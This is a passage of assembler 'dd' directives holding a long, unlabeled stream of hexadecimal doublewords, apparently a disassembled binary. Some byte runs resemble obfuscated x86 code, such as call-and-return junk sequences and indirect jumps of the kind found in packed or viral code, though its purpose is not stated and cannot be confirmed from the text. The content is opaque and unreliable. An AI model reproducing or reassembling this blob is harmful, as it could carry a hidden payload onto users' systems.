534D0C7Fh, 0B71DA8BBh dd 4BD3F733h, 0D1FC381h, 0E3C15628h, 97F38102h, 99DC995h dd 814F5BDFh, 0E4356EC7h, 4EC83B1h, 81242489h, 42404h dd 68580000h, 267Ch, 8F243C89h, 34FF0840h, 0C4815824h dd 4, 5F2434FFh, 0E904C483h, 0FFF91357h, 6982B80Ah, 0C50305EEh dd 71DAE0FFh, 0A32413B7h, 3F1A6D3Dh, 83C45863h, 0DDD853B7h dd 0CA0B77B5h, 0ACD621FCh, 10EB39D3h, 4 dup(0) dd 13E9C08Bh, 47000000h, 0AAD27B67h, 9A3F409Bh, 8E55CD3Ch dd 2874B18Eh, 0BD8374B7h, 5E70D79h, 83097500h, 0E71C15BDh dd 19740005h, 0C08B5350h, 42DB8h, 0D5858900h, 8D05E713h dd 0E9AA349Dh, 5BD3FF05h, 15BD8358h, 5E71Ch, 53501774h dd 42DB8h, 0D5858900h, 8D05E713h, 0E9A7239Dh, 5BD3FF05h dd 0FCF38B58h, 32619509h, 0C08B05E7h, 8D8BD38Bh, 5E70A85h dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 18h, 85C35545h dd 0C9D53FC1h, 83F78B66h, 840F00F9h, 84h, 0D9958BF8h, 6405E715h dd 2C3D8Bh, 8D890000h, 5E72B89h, 840FFF0Bh, 68h, 0E853006Ah dd 3, 5BC35B20h, 4245C89h, 4244481h, 1Ch, 2AC35343h, 8B46BCE4h dd 9C57D05h, 6A3F8Bh, 3E850h, 58200000h, 448958C3h, 44810424h dd 150424h, 50400000h, 32EFD0C3h, 0F38EB2C0h, 51006AAAh dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1704h, 0C3514100h dd 8B2A0B0Ch, 50414935h, 55006A53h, 3E8h, 0C35D2000h, 246C895Dh dd 24448104h, 1A04h, 0C3554500h, 0DD1C1EA7h, 0C60846FBh dd 0E707F985h, 0BF0F4705h, 0C7DC68D1h, 3481EAA9h, 7F4FF024h dd 25958936h, 0FF05E72Eh, 0E72DC5B5h, 0BE905h, 0C49C0000h dd 1F24A56Ah, 2792972Ah, 63858DF7h, 6005EA79h, 206DB58Bh dd 0FF6105E7h, 51006AD0h, 3E8h, 0C3592000h, 244C8959h dd 24448104h, 1604h, 0C3514100h, 579C2A82h, 5ED68B66h dd 2DDD8589h, 958B05E7h, 5E70C01h, 7F985C6h, 685305E7h dd 0B8432A7Fh, 212FBA66h, 83243481h, 6630DB40h, 0B5FFD08Bh dd 5E72DC5h, 0D1D68166h, 63858D7Fh, 0F805EA79h, 6E9D0FFh dd 9B000000h, 8548CD81h, 6C858D8Dh, 6A05EA38h, 3E85000h dd 20000000h, 8958C358h, 81042444h, 19042444h, 40000000h dd 2583C350h, 8338AAF1h, 1BDDB58Bh, 11E905E7h, 38000000h dd 6295445h, 12BF2A77h, 11D81A10h, 0E91D0418h, 21858589h dd 9D0105E7h, 5E72091h, 0FF6A206Ah, 218595FFh, 493505E7h dd 0C7535041h, 0E70D4D85h, 105h, 4185C700h, 5E715h, 60000000h dd 7E8h, 49311C00h, 18FD0CEDh, 0F5F6160h, 68Ah, 399D2900h dd 6105E72Bh, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h dd 1Dh, 0F6C35747h, 820ABC88h, 3D5F85E2h, 8B66518Eh, 0BD835AD3h dd 5E73301h, 3D840F00h, 52000000h, 2E69958Bh, 8B5A05E7h dd 0E7002585h, 0FD9D2905h, 6405E704h, 0A3h, 0DE900h, 1ACF0000h dd 0B33186FDh, 1589CE0Eh, 8B176339h, 0E709AD85h, 5AF95705h dd 958BE08Bh, 5E701CDh, 2191BD83h, 0F0005E7h, 38585h, 0F985C600h dd 5605E707h, 62D8501h, 4E805E7h, 0DF000000h, 0E8A9C530h dd 7, 18B4899Fh, 0B200E151h, 8B505E5Ah, 24448BD3h, 0D38B6604h dd 880F008Bh, 0 dd 4244489h, 0E58A6052h, 5A61CE8Bh, 0FF5DB258h, 0E72DC5B5h dd 91DA8105h, 8D59C240h, 0EA796385h, 0D38B6605h, 7CBED0FFh dd 502044CBh, 11E9h, 281B9800h, 0C641AD04h, 0C1BAF195h dd 5BA420E6h, 489CC2Dh, 22F68124h, 8D0B3297h, 0E70E318Dh dd 8B669105h, 8D0F50D0h, 0Eh, 9E9h, 0D734FF00h, 0AB2C715h dd 29916338h, 0E71C6985h, 4DBD8905h, 6A05E72Ah, 11E96004h dd 0D0000000h, 4FFB044Eh, 72EE8489h, 0EC72C644h, 8765EE01h dd 61DF8B66h, 0BE179368h, 2840FDEh, 8A000000h, 240481F3h dd 2141F86Dh, 36E28166h, 9DB5FFFEh, 0F05E704h, 58Dh, 0B96BE00h dd 0D0FF664Ch, 31BCD7BEh, 9DBD8B5Dh, 0B05E704h, 0E71A0595h dd 3C7F0305h, 0CB0BA66h, 0F8C781h, 0B58B0000h, 5E72121h dd 202447C7h, 83600000h, 0EE6A47BDh, 840F0005h, 13Dh, 6A28C783h dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 16042444h dd 46000000h, 0AFEBC356h, 7D958B22h, 0C705E71Fh, 696A2E07h dd 51006A64h, 3E8h, 0C3592000h, 244C8959h, 24448104h, 1404h dd 0C3514100h, 447C7E7h, 617461h, 27B5958Bh, 858B05E7h dd 5EE6A4Fh, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h dd 17h, 25C35646h, 89D2F797h, 6A0C47h, 3E856h, 5E200000h dd 74895EC3h, 44810424h, 150424h, 56460000h, 814098C3h dd 8D2D82CAh, 53858B46h, 0F505EE6Ah, 6A084789h, 3E85600h dd 20000000h, 895EC35Eh, 81042474h, 19042444h, 46000000h dd 0B781C356h, 0AFCF73A7h, 21F1B58Bh, 0C78305E7h, 3DB58B28h dd 0C705E703h, 6F632E07h, 0F1B58B6Eh, 6605E712h, 47C7D38Bh dd 67696604h, 0AE900h, 40760000h, 0C2A1AA40h, 0C15CDA2Eh dd 6A4B858Bh, 0CE905EEh, 92000000h, 0FE2D4DE7h, 259B1523h dd 66E2D1D9h, 4789F38Bh, 2DBD890Ch, 8B05E72Ch, 0EE6A4785h dd 95958905h, 8B05E725h, 0E70165B5h, 8478905h, 0A892B7BEh dd 0B58B583Ch, 5E70275h, 33658D8Dh, 8D8905E7h, 5E72349h dd 66606091h, 6661CB8Bh, 5061D78Bh, 0F525056h, 86h, 0BA310F00h dd 2D16C3D5h, 915A585Ah, 13E9h, 0DB19B800h, 4D085671h dd 29D88298h, 0CFEECB62h, 0FA5806F0h, 0E31B5FFh, 6A05E7h dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 190424h, 51410000h dd 410169C3h, 8B2908D2h, 0E7224995h, 4E805h, 10000000h dd 56500000h, 8B5ED68Bh, 8B042444h, 66008BF7h, 89B56EBEh dd 0E8042444h, 0Ah, 2D1E06CEh, 0AD15C591h, 0CE9B4C8h, 0 dd 0F53AEB03h, 7A811E12h, 5A06E99Ah, 0C0BA6658h, 9DB5FF5Ah dd 6A05E704h, 3E85100h, 20000000h, 8959C359h, 8104244Ch dd 14042444h, 41000000h, 5776C351h, 815E03B2h, 0DDF647C6h dd 19858927h, 0FF05E707h, 50006AD0h, 3E8h, 0C3582000h dd 24448958h, 24448104h, 1B04h, 0C3504000h, 258B2661h dd 39735949h, 2241B58Bh, 0B805E7h, 66000000h, 0C00BF38Bh dd 3F840Fh, 0CE90000h, 8F000000h, 7B252DEAh, 0CA3A3E18h dd 0FF76F566h, 0E70CE5B5h, 0CD95FF05h, 6A05E732h, 3E85500h dd 20000000h, 895DC35Dh, 8104246Ch, 15042444h, 45000000h dd 0C139C355h, 0AFEE8166h, 8BC08B75h, 79BD83F2h, 5E70Dh dd 0BD830975h, 5E71C15h, 50197400h, 0B8C08B53h, 42Dh, 0F2D8589h dd 9D8D05E7h, 5E9AA9Bh, 585BD3FFh, 1C15BD83h, 740005E7h dd 0B8535017h, 42Dh, 0F2D8589h, 9D8D05E7h, 5E9A73Ch, 585BD3FFh dd 78B0Fh, 8A600000h, 0D2B70FE7h, 6850F61h, 8B000000h dd 0E7215995h, 89C08B05h, 0E72825B5h, 0EBC08B05h, 33210A04h dd 543E943h, 0B5E30000h, 0AAE04F81h, 0B2FF4484h, 0AEF9468Ah dd 0CDF5428Eh, 4372438Dh, 351B236Fh, 351B236Eh, 331D3D6Eh dd 0CE022464h, 7ACEEBFBh, 79C69B93h, 0ACFF400Ah, 185BB288h dd 0A80D354Eh, 0C375E2C0h, 146A4A5Dh, 0D81B6435h, 0DBF3D3F5h dd 9ED8A763h, 598D722Ah, 0B1C55465h, 136F4E9Fh, 9AA5FA24h dd 62D693B3h, 61C375EEh, 2209C710h, 89F6C4EAh, 7363BF9Fh dd 87DBE32Ch, 226847A6h, 0A2E54A1Ch, 0FA403B8Bh, 9AEBF241h dd 0F198675Bh, 74517BC9h, 7538DFA1h, 0BA8BD4C3h, 3F1F0F10h dd 0E22B70FCh, 0E4210EC2h, 8289F6C4h, 8B5064BAh, 4868BD0Fh dd 5391BB80h, 25045A7Ah, 2BD712DDh, 0C91A3D92h, 69BB00F5h dd 0A322C375h, 3A33D27h, 57A167D9h, 25000000h, 6547A52h dd 75E2CFB3h, 706C5AC3h, 0D9257658h, 4599A1EEh, 822CAA31h dd 8A9E38ABh, 67D98E1Ah, 12Ah, 7852BC00h, 0C4BE6953h, 0BB841BDAh dd 35010C13h, 6FBF88F6h, 0EC2F074Fh, 9E4AE9DFh, 58A98D9Ch dd 0F3DA251Dh, 0A9208FD3h, 0AB8B8321h, 0A88E9EA5h, 6452E0A0h dd 0EF3F0856h, 6CDFF3CFh, 0EAD0DE6Ah, 3A8648E0h, 8E20BEC9h dd 0B29AA1AFh, 2E064EACh, 97B6D626h, 38026BB7h, 8AE9C6C3h dd 9E3B7AA7h, 0C375322Ah, 0B38FD829h, 0FEE2E4A7h, 67D8BC76h dd 9576h, 64527000h, 90580856h, 75E2B305h, 0D8FE2EC3h dd 89DAAB82h, 7D4179A6h, 0B5E2D12Ch, 9FCEB985h, 5961A9FBh dd 587EA8F7h, 18023E76h, 48019C65h, 0E32A156Dh, 0EEB38BC3h dd 0AEAA47D2h, 0FB675B9Ah, 0D27DB6D0h, 0A188D6E4h, 5F4DD742h dd 26EE67D9h, 5BEF5C0Eh, 53109134h, 0C37560EDh, 0ED5695E6h dd 52h, 566452F9h, 5905808h, 0C375E2B3h, 290467B0h, 2FEDCFCh dd 0F8D8CD52h, 7BAC2ABDh, 0E29266B3h, 4D68C375h, 0C375E2FBh dd 8DDEAFF8h, 675743AEh, 785239E9h, 0CCB1045Ah, 53C375E2h dd 12829630h, 0C367D98Eh, 0CC8E016Bh, 30735541h, 14Bh dd 6A351F00h, 0ED3C0220h, 56A48A82h, 0D0D93477h, 63A592E8h dd 2D330B43h, 2F320076h, 457949A4h, 0BB5AB58Dh, 82EF9A63h dd 3A9630A3h, 6403CD0Dh, 0E8CD8588h, 0C95DF13Bh, 0A493EF38h dd 0A18E4264h, 6B7B4767h, 6ADEFBA3h, 69C69DF1h, 0F1D55B18h dd 9DEEC69Dh, 0F175F95Eh, 6C5FC69Dh, 0E8CEDE6Ah, 0EDF1DB60h dd 4066A691h, 0E5E5567Ah, 0EF614547h, 3D470F27h, 0A3367F86h dd 39744569h, 0F15CF262h, 181D261h, 0B0880000h, 0E59451BFh dd 0C410F61Dh, 67E63F27h, 3583D716h, 0DF1E3C6Ah, 1494CA0h dd 5CF747B4h, 86FDB5C9h, 7F97A7BCh, 0CE1FECCFh, 0A18587F0h dd 0AF8880AFh, 0D4F58FF0h, 3B07505Ch, 0A4FADCCCh, 0ED3F5B00h dd 56B59BBBh, 61F1E5BEh, 0F74BC77Fh, 0BCBC9F72h, 65BDED17h dd 93D27C72h, 912Ah, 929FA000h, 21F4BAAh, 11A42EEDh, 0C375E37Fh dd 7768B58Dh, 85E16875h, 75E64830h, 297A4BC3h, 3AF66BD1h dd 0F530DD96h, 0B09F3700h, 0BE62B49Ah, 53FB71EBh, 0DB9EE0C3h dd 0C3754755h, 0FA073FA7h, 245FE3F5h, 0CDCD9CDFh, 36163718h dd 1923C8F7h, 0EC320836h, 3850D89Dh, 253C375h, 0C4D19931h dd 0C375387Ch, 8FC72677h, 7539962Ah, 8ADC2DC3h, 9F3A63A5h dd 0C3753829h, 0AD88D92Ah, 0A1F4A7h, 63E0000h, 51752179h dd 43F72971h, 0D5E7EA9h, 0EE02B82Eh, 0DAFFA72Fh, 0C375E256h dd 95211C6Dh, 5CE81B00h, 0B38FD8C9h, 0EE624444h, 1B674741h dd 92E5DFA6h, 14B2F9C6h, 7B434CD3h, 0EF330B34h, 58705F9Eh dd 63E0CA7Fh, 0E67078BDh, 0DB2E701Eh, 4880D1C9h, 76583DB3h dd 9CDFFF29h, 39D9C3D6h, 4892CC83h, 0A70C4447h, 0A47F244Dh dd 78B7362Ch, 0D080DE2Fh, 6B3DCC58h, 4149B9D7h, 0FBC42579h dd 11C29CA3h, 0C82BD893h, 0CB83A3E5h, 0C11D3964h, 1B58DE8h dd 30BC3C5Ah, 4C50656Dh, 7C2B13Ah, 35761A36h, 3C02206Ah dd 0FDF38EEDh, 0A18EB618h, 127B4767h, 542676D3h, 0EC3DC964h dd 4767A18Eh, 4C7AC589h, 9AD9300Eh, 6DB195B7h, 0BD48D188h dd 0BDDD8C0Fh, 0B1193D6Fh, 2A442C89h, 0E5F8FBEh, 0B57D212Fh dd 0BE2A9860h, 0E157628Fh, 0E28FBE2Ah, 0AFF7C091h, 5BC01285h dd 8FE2C196h, 7D65B99Dh, 0B83415C5h, 6A4988E3h, 7C590407h dd 8FBE84F4h, 9E64BE8Fh, 7BC48998h, 0DFE33F08h, 56D81F17h dd 1E6CB6FDh, 0BE0A8CDFh, 0BB80486Eh, 6A714D91h, 3, 526F23BCh dd 3D0A5066h, 88F7CBEBh, 105FA383h, 0E2CD1125h, 4FB886B4h dd 0D8277B43h, 0A691EDF1h, 327D4179h, 2E43A18h, 550168h dd 24148900h, 399C68h, 24348900h, 476B68h, 241C8900h, 2D11BA52h dd 4A4231EFh, 81DAF74Ah, 0FEA341F2h, 8BD689CBh, 0C4812414h dd 4, 241C8B54h, 4C481h, 94680000h, 89000023h, 438F2434h dd 2434FF08h, 4C4835Bh, 5E2434FFh, 4C481h, 88E90000h, 22FFF906h dd 0CD429C54h, 768FB88Bh, 0C50305EEh, 0D0C5E0FFh, 0F29A01A4h dd 0ED2A57B6h, 0B3C466C6h, 6D6873ACh, 2F5E2827h, 25B61105h dd 39A22A24h, 0D50A303Ch, 9F883625h, 51804746h, 0B40D001Bh dd 0C7876665h, 7B15253Eh, 2F77217Ch, 0CDF367E2h, 0DFED03F8h dd 0FE1E54E9h, 994A76F9h, 3D4574Eh, 43760F56h, 3AE16D66h dd 83BF1A5Eh, 55431367h, 93B16FE6h, 3B9768DFh, 3DA3595Ch dd 0B0F2169Dh, 599636A8h, 89B25652h, 0ACA35928h, 4EB064Dh dd 65BE0B9h, 5B9E9h, 0ECEAD600h, 0D7F7D77Ch, 0D5E5D279h dd 0D9FD2C7Bh, 0D8FE2877h, 4216AD70h, 5DEA6654h, 5DEA6656h dd 5BE06848h, 0CEE36D71h, 954F3184h, 5944C69Bh, 547A5261h dd 0C9F13906h, 4D6DBE81h, 17DD1871h, 0E03E0008h, 398B597h dd 0EFFBA0C0h, 7E5C4EA1h, 0A4E6D12Dh, 9CCFB886h, 217EAEFAh dd 75402C94h, 85D627C3h, 96B49B4Bh, 0D1E75B0h, 4B73232Dh dd 40423683h, 7041C375h, 7540CDB3h, 0B6F5C6C3h, 0C52725Bh dd 0FAC0F423h, 0D77515C6h, 2D7AD6F6h, 3287DBFBh, 0C375404Dh dd 309B1D0h, 67D8EC91h, 6EB3h, 7A523700h, 1D61414Ah, 379FE3CCh dd 0C31F3F68h, 582E8BEAh, 0C5C375E2h, 0B189B699h, 7D676372h dd 67D98EE3h, 3E1E0F10h, 106FFh, 52400000h, 734E5378h dd 6995F5E7h, 0D1F5C218h, 4B42ADF1h, 0F0CB636Bh, 44E1BD62h dd 0FF48B6F5h, 139EAECh dd 13831652h, 85E8CB4Fh, 629A181h, 0C2CB2604h, 6E4D9CE2h dd 4D7355E2h, 0C6277B5Bh, 35B75BF5h, 0E2C0A80Dh, 0FBC3C375h dd 4AA19D3Ch, 0D921722Eh, 83F1A16h, 6A49A4D4h, 90C01E3Ch dd 67BB838Fh, 0C2C82706h, 410A9EFCh, 0E6BFEB39h, 75596DD3h dd 0DA1566C3h, 4E82D3F3h, 0BB87A7E1h, 9F4132Bh, 25FF29C9h dd 9EBEEBC6h, 0D3F79440h, 0D95767C9h, 920567h, 52410000h dd 0D37C5664h, 0A896D5F9h, 606A525Fh, 0A8A7F8C8h, 0B906587Eh dd 0F6C82BB2h, 0E8385E09h, 0EBB098BEh, 74439FBFh, 1F3F6F55h dd 8AD0E6D0h, 0C00C52A3h, 0E25A8F0Bh, 0E7AA9279h, 4F3184E5h dd 44C375C2h, 5CCB2A7Bh, 67D96CD4h, 0EAD0DE61h, 55328Bh dd 87A80000h, 6941BC98h, 8566452h, 0E6D0EE3Fh, 60CF87D0h dd 0DF3E0036h, 0C2028458h, 581C13Ch, 0DF874046h, 483E8217h dd 0E435C375h, 7548B90Fh, 0A69BAC3h, 2ECAFB27h, 5A3031CEh dd 7D2D230Ch, 45A7852h, 75E2CCB1h, 963053C3h, 0D98E1282h dd 13267h, 52B40000h, 59095565h, 6D1DCBE1h, 0EBC21838h dd 0F039E493h, 684E5EB5h, 0DDFD6E12h, 8ABC1028h, 2D03990Bh dd 87A5B6D5h, 0C0237703h, 808AA4EDh, 7F5F4FA2h, 57F9CA23h dd 0E8B85498h, 83604FF7h, 3CB83ECh, 0F9C5F13Ch, 159B3E90h dd 2EC3751Eh, 8C399EDDh, 69C95DEFh, 0D3F5C218h, 0CF592F8Ah dd 95AC69Dh, 10B1038h, 961CE13Dh, 80C69DCFh, 521ACFCBh dd 9DCFF147h, 42A1F2C6h, 37193D6Fh, 0C01E2068h, 0ADF1D5F7h dd 94345219h, 29BE92B4h, 61F161B7h, 1A295h, 0EE02D100h dd 748FA72Fh, 4E07B1ECh, 965E1457h, 41BC9C89h, 5CAA9B98h dd 734F98C9h, 0E5D1DC63h, 0E76EB099h, 3E336C13h, 0BDEFC221h dd 0BAB59887h, 8BA5834Ah, 59F7C011h, 60C8ED95h, 63C69200h dd 0ACFCD312h, 414BB48Ah, 21D81674h, 0E3CCFE90h, 5066509Fh dd 0CBEB3D0Ah, 0BA80A6E4h, 0B2FC9ACDh, 0D613B724h, 0A1DC865Eh dd 0E9C0D1DCh, 6B4298A0h, 0DDE32508h, 3698E9C9h, 8CC5AB0Eh dd 8DDEC692h, 8C08F0C5h, 3A0BC692h, 0FE9675FBh, 0CE61F220h dd 40h, 2EED0298h, 0AFAF9BA4h, 965E064Ch, 75E2BD03h, 665B6C3h dd 75E30FA1h, 75BA4C3h, 75E2CEB2h, 3B5F0CC3h, 795132B9h dd 75E3045Ch, 3B9E46C3h, 0C375E2B5h, 4D3E7D4Eh, 0D02BEC7Ch dd 7F000000h, 948D7D35h, 0B47302A0h, 0E4566762h, 211C6422h dd 74F4EA2h, 5C6A6DB2h, 0D7106AC9h, 2F8FECE3h, 0E9007D45h dd 7B04DBDDh, 0A1EBD42Ah, 0D76FD1E4h, 1B64C692h, 8BD7F7D4h dd 0D67951A2h, 0BD8AD0F6h, 1B724868h, 0DE65EBCAh, 2F92E8CEh dd 0C692D654h, 101F2070h, 0BEEBFF2Dh, 0C32C2D42h, 1C4FAEFFh dd 0D8FE2E7Ah, 4242BEF6h, 8FD41E25h, 0C01AB39Ah, 76644F8h dd 0C1BE32C9h, 3E90E1D9h, 83639C9Bh, 764495CCh, 73461F09h dd 0C8A0538Dh, 5F282E18h, 0C7F7230Eh, 94192FBh, 12E14331h dd 79D86603h, 28BD334h, 9266B38Fh, 91C8A059h, 0CA347740h dd 36113EB6h, 82E1C816h, 0A745B7D3h, 59B63A9Fh, 7C4DC8A0h dd 231EBB13h, 10C2B1E1h, 25909C7h, 390831EEh, 0B1E255C3h dd 95AABB5h, 8DADFE41h, 654546B1h, 88E73019h, 0A63BF9Fh dd 2B16A32Bh, 28C964CDh, 4CD383DFh, 0DB367541h, 3DE5EDF1h dd 9AEC1098h, 0E3C213C6h, 0EA89A16Dh, 4A3E9B5Eh, 49C69A01h dd 1D082678h, 301877B6h, 0F66DD02Eh, 7DC2C4CAh, 0CB340A2Ah dd 0FA3FFDFh, 39F03A5Ch, 0B09828AEh, 0ADF2A2AEh, 25045A7Ah dd 9DA1EBC6h, 0E577641h, 0D10AC5ABh, 0BC8DDECAh, 9B15A5Eh dd 785391BBh, 19C50B54h, 0AFC4451h, 0A6F7CAD1h, 1C62424Bh dd 8983EECDh, 0DA652DA5h, 0BD8CD2F0h, 0D10A70F8h, 0CF2273CAh dd 47BBFAC2h, 0A14h, 73234200h, 84DAFC2Ch, 521046A5h, 3D0A5066h dd 88F7CBEBh, 105FA383h, 0E2CD1125h, 4FB886B4h, 0D8277B43h dd 0A691EDF1h, 327D4179h, 2E43A18h, 81E78957h, 4C7h, 4BE5600h dd 29000000h, 3C875EF7h, 0BC685C24h, 89000021h, 89502414h dd 405E0h, 0E8830000h, 24048704h, 241C895Ch, 7DDEBB53h dd 0A6BA2415h, 3130030Dh, 0EA815BDAh, 0E27F8F4h, 8904EC83h dd 4812424h, 424h, 0EC835B00h, 24148904h, 0B2242C81h, 8F1F0751h dd 43810843h, 751B208h, 2434FF1Fh, 4C4835Bh, 5A2434FFh dd 4C481h, 48E90000h, 47FFF900h, 2FAE5055h, 0D73EFF7Eh dd 0D3ED066Fh, 0AFB8EA56h, 305EE7Ch, 4EE0FFC5h, 63268CBAh dd 22F8400h, 0B307BC80h, 1170724Ch, 61150463h, 766707ADh dd 0B468D1CAh, 0EB02156Fh, 65B83404h, 539E96Ah, 0F5230000h dd 0EA200FC1h, 0F23F04C4h, 0EE3906CAh, 0D3502CEh, 3B203CDh dd 0F55B63AFh, 0F55B63AEh, 0F35D7DAEh, 8E4264A4h, 0BA0EAB3Bh dd 0B9C69B9Fh, 6A351C4Ah, 0EF3E1C22h, 4767A18Ch, 13D36B7Bh dd 587C2204h, 0AA94FB3Ah, 31153AACh, 561ED211h, 0BFFEDEC9h dd 8567850h, 0EAD7ED3Fh, 0ABF4C2CCh, 133B045Ah, 5200EF33h dd 252392AAh, 0D6E078B8h, 7523AF11h, 17312DC3h, 0BFABF5ACh dd 0F5E9DEEh, 0CFEF398Bh, 4D91B887h, 7055E26Eh, 7A53F850h dd 169E3F53h, 7243DB81h, 0AC9BA42Ch, 387B52A8h, 90EEEED5h dd 0AE5B7FECh, 5AA6296h, 75DFC8B0h, 0A0FACBC3h, 0AA89F8D3h dd 0EA664647h, 176B4B5Dh, 81B5E04Fh, 3B70C5A2h, 0FCEFC375h dd 0B55EF6DAh, 736E67D8h, 78000000h, 63A07D35h, 97D2BFBDh dd 0F2F7954h, 2FF84E33h, 7965C375h, 8FD3EBD6h, 6A6C7FBEh dd 0D8C1EE66h, 1DE67h, 52E80000h, 5C045A78h, 1ECE1EE4h dd 0FBD2280Eh, 71F57A3h, 0FDDDC924h, 9022DD5h, 10E44C29h dd 0A7FFC375h, 0AAD2AEEBh, 40A38C9Bh, 3616317Eh, 0DF571FE8h dd 0EF107135h, 0FFEECDD2h, 7D5D49DBh, 624444D3h, 0E2DAC768h dd 7CBF9F8Fh, 6452D0F0h, 0E6D37C56h, 42A188D6h, 3B1B337Ch dd 0AEB098E7h, 2386750h, 88D62717h, 0EF5377E4h, 0DA7610DBh dd 6D64E7ECh, 0EDB251D1h, 2365CA9Ch, 8FEE3F03h, 5CA59D41h dd 15351607h, 759EE0C9h, 311C5F10h, 0FBEB3717h, 0D517554h dd 79BBDA3Ch, 192FA3A0h, 8BCAF7DAh, 887EB5B3h, 70350FF7h dd 0C3753088h, 1569BA8Bh, 438402C9h, 0AB8AACFCh, 0D8BA74FCh dd 6DBE8167h, 92956E4Dh, 0D1000000h, 8566452h, 0F0D4F758h dd 0D6043AAh, 19E63404h, 0CEF8484Eh, 0CFFB4088h, 1F6FC78Fh dd 22081E6Ch, 0C7B47A6h, 79E5391Dh, 0C42C3452h, 0A067D95Dh dd 81h, 6B4E763Eh, 0C375DB85h, 0E84D9Eh, 3C375DBh, 35E7F332h dd 0E2C0A80Dh, 0F2C3C375h, 64525CB3h, 0DCFC2916h, 1F7C28Ah dd 2C375E2h, 0AC0DE931h, 0CFA77DC8h, 7EA592ECh, 1537005Eh dd 7A31ED31h, 0F5C1CC5Ch, 8B7740A9h, 88FB63DBh, 22D1A42Ah dd 5AF690C3h, 32E26E6Ch, 0D615256Dh, 5A785280h, 9B6D4870h dd 6C375E2h, 4552604h, 9F64D929h, 0EC375E2h, 0BF513B5Fh dd 8D67D98Eh, 1, 556552D9h, 0C8EE3E09h, 75FBDE86h, 0EC375E2h dd 0FC80FE3Dh, 0D0D96B6Fh, 658B60E8h, 4012EA0h, 288DC924h dd 0C95D137Bh, 0E4D32F78h, 0C882A4h, 92D3C3B5h, 0B4F7C0C6h dd 74BCF4B8h, 7579CBDFh, 8983EECDh, 310959A5h, 16D9B1CCh dd 12F736F1h, 0C692DDACh, 67C5C586h, 60CF0125h, 0A8380628h dd 58A68687h, 0CDDF3271h, 535EE1E9h, 0F736176Bh, 5274E78Bh dd 0BD9D8E91h, 0C62D0861h, 56EEE0C6h, 0AA7B3F2Ch, 13930BC5h dd 60E45612h dd 5418D417h, 4C4204DCh, 0E5207A5Ch, 194D7B1h, 61F1C98Fh dd 10CBDh, 0EE020900h, 2512A72Fh, 12C95CF7h, 95E9CDDFh dd 725275B4h, 0BDF5DD21h, 17E8D4D5h, 0FBD615ECh, 0F4438DD1h dd 43ACF2D4h, 75196549h, 2860C0C6h, 4BC5CA06h, 7961F274h dd 56h, 0A80D354Dh, 0C375E2C0h, 72BFF2C3h, 97546B4Ah, 0A1C7D2F4h dd 0C2C375E3h, 60C8ADF1h, 0AAC375E3h, 8C639139h, 5378C78Fh dd 93DE2F73h, 624B97A7h, 4A6E4B03h, 90C375E2h, 0E37BCDE8h dd 0B8E6C375h, 9C6DBC82h, 0B28370B3h, 4249D69Eh, 0E6C5247Ah dd 7CE7h, 0EE023300h, 47FFA72Fh, 9B70AA45h, 0E542A124h dd 0C95C45B0h, 73537AB5h, 0B18DDE2Fh, 0E8604646h, 19654943h dd 85A5E649h, 0B41550B9h, 0C69250C1h, 8622A4E7h, 4F6FBE86h dd 7C91A73h, 0F6D8F05Fh, 6A525FA8h, 85E43514h, 861BD9Dh dd 0BB5A962Dh, 0D4D68613h, 5CADCC83h, 3717317Eh, 8204D7EBh dd 339B7A76h, 0B252F6E6h, 0F0C58DC2h, 0D2B15208h, 5903A0Bh dd 0D2B152B3h, 3A1667B0h, 2FEE0216h, 604A12A7h, 40F8C964h dd 660C3E57h, 765476BFh, 0B9F0C128h, 14754971h, 0C71B64D9h dd 0B990D0F8h, 0BF844495h, 3E01496Dh, 93EFCEECh, 0EF78272Eh dd 9F3B5236h, 153B1B0Dh, 0E2381E0Eh, 4C92B295h, 8527A328h dd 0E1ADA383h, 0D684E5Eh, 0FAC0E626h, 15E1h, 0C51D1500h dd 76C018A8h, 359BCF2Eh, 27A5067Dh, 5D988424h, 66524307h dd 0EB3D0A50h, 8388F7CBh, 25105FA3h, 0B4E2CD11h, 434FB886h dd 0F1D8277Bh, 79A691EDh, 18327D41h, 6802E43Ah, 1689h dd 57240C89h, 0C781E789h, 4, 8704EF83h, 895C243Ch, 8968241Ch dd 8900001Bh, 6851240Ch, 68A41C91h, 60E0BB59h, 0CB019D4Ah dd 0C8B5459h, 4C48124h, 52000000h, 5189DA89h, 24148B08h dd 4C481h, 34FF0000h, 0C4815924h, 4, 56241C8Bh, 0C681E689h dd 4, 8704C683h, 0E95C2434h, 0FFF8FADBh, 7E5CA94Bh, 9BBAF30Eh dd 694CC070h, 0B84EEA66h, 5EE822Eh, 0E0FFC503h, 7AF00402h dd 479658A7h, 76515A94h, 2D874F3Ah, 56537FD8h, 0C4E70B1h dd 4291B21Eh, 3D135E6h, 4E381C37h, 21D5DBA5h, 0EE8h, 58B12A00h dd 0D239A23Fh, 2D7F5A10h, 8104B628h, 60ACE9F0h, 0EE85B3Dh dd 14000000h, 347A839Ah, 58804D60h, 2D76F864h, 0C3815FB9h dd 59E3h, 0B457C933h, 34FF58DCh, 5EC38B19h, 81F98B66h dd 348700EEh, 7B2B806h, 0C6815658h, 5172655Ch, 4AF4BF66h dd 6AA7C681h, 8E0F1B47h, 7, 1820Fh, 89F50000h, 0DE90B34h dd 0 dd 114F137Ah, 7158A345h, 0C6B93FB5h, 0D7BF0F52h, 1E9835Fh dd 49C3B70Fh, 0AE84949h, 60000000h, 0BB2858F4h, 35467DAh dd 2880F1Fh, 8B000000h, 0F98158FAh, 0FFFFA6F4h, 14850Fh dd 840F0000h, 3, 0E9C28B66h, 20h, 834A1739h, 5E9132Ah dd 0FE000000h, 64FE3488h, 0FFFF65E9h, 0DAE570FFh, 5E616961h dd 0C959CFCDh, 6AE504EBh, 10E935F4h, 94000005h, 95A2AEA8h dd 90BF91B1h, 92B997A7h, 0EEB59BBBh, 6FB69AA0h, 20160058h dd 20140328h, 2A0A0328h, 2F0F1926h, 0F3C68021h, 0C69B610Dh dd 52A31706h, 3906547Ah, 3807C9F1h, 87F0CE10h, 0BFDD885h dd 8C375E2h, 0C090EE3Fh, 0FD7A3268h, 8675DCFh, 96FD381Eh dd 0FF4896B4h, 507DA8F7h, 0A28700B0h, 0ED3102A5h, 880EA19Ch dd 2CE1038h, 